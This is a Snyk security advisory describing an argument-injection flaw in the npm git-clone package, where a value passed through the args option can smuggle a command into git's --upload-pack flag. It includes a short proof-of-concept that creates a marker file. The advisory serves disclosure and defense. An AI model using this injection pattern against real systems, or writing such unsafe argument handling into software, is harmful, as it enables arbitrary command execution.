Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') Affecting git-clone package, versions *


0.0
high

Snyk CVSS

    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    EPSS 0.41% (74th percentile)
Expand this section
NVD
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-GITCLONE-2434308
  • published 28 Jun 2022
  • disclosed 28 Mar 2022
  • credit Liran Tal

How to fix?

There is no fixed version for git-clone.

Overview

git-clone is a Clone a git repository

Affected versions of this package are vulnerable to Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') due to insecure usage of the --upload-pack feature of git.

Note: A note was added to the README file of the package to only use the args option with static/trusted input!

PoC:

const clone = require('git-clone')
const repo = 'file:///tmp/zero12345'
const path = '/tmp/example-new-repo'
const options = {
    args: [
    '--upload-pack=touch /tmp/pwn2'
]}
clone(repo, path, options)

Observe a new file created: /tmp/pwn2

References